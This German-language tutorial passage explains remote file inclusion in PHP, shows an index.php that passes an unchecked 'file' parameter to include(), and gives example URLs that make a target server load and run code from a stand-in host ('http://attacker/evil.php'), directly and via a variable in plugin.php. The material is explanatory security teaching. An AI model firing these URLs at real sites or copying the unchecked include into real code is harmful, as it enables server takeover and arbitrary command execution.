Einige Webseiten benutzen ein Framework mit Templates, um die verschiedenen Inhalte, Navigation usw. einheitlich zu präsentieren. Dazu wird ein einzelnes Skript benutzt, dem der Name der Datei mit dem eigentlichen Inhalt als Parameter übergeben wird. Zum Beispiel so:
http://schmoop.com/index.php?file=start.html
Im Skript ``index.php'' wird nun der Parameter ``file'' ungeprüft übernommen.
include($file)
Wie oben beschrieben, können wir nun einfach eine Datei von einem anderen Webserver laden.
http://schmoop.com/index.php?file=http://attacker/evil.php
Das Skript ``evil.php'' kann beliebigen Code enthalten, der dann auf dem angegriffenen Webserver ausgeführt wird. So kann es z.B. auch system()-Befehle enthalten, die dann an das Betriebssystem weitergegeben werden.
Manchmal sind die manipulierbaren Parameter nicht so offensichtlich zu erkennen. Da jedoch oft der Quellcode der Software vorliegt, kann man gezielt auf die Suche zu gehen. So zum Beispiel nach Variablen, die in Konfigurationsdateien gesetzt werden. Angenommen eine Webseite lädt eine Datei plugin.php:
http://schmoop.com/index.php?file=plugin.php
Weiterhin angenommen ein Angriff direkt über den file-Parameter ist nicht möglich, doch das Skript plugin.php erwartet eine Variable $fnord, die im Skript ``index.php'' aus einer Konfigurationsdatei geladen wird. Ein Angreifer kann nun das Skript ``plugin.php'' direkt aufrufen und die Variable $fnord mit der URL unseres externen Webservers zu füttern:
http://schmoop.com/plugin.php?fnord=http://attacker/evil.php
Eine große Sicherheitslücke in PHP-Nuke, einem weit verbreiteten Content Management System, funktionierte genau auf diese Art und Weise.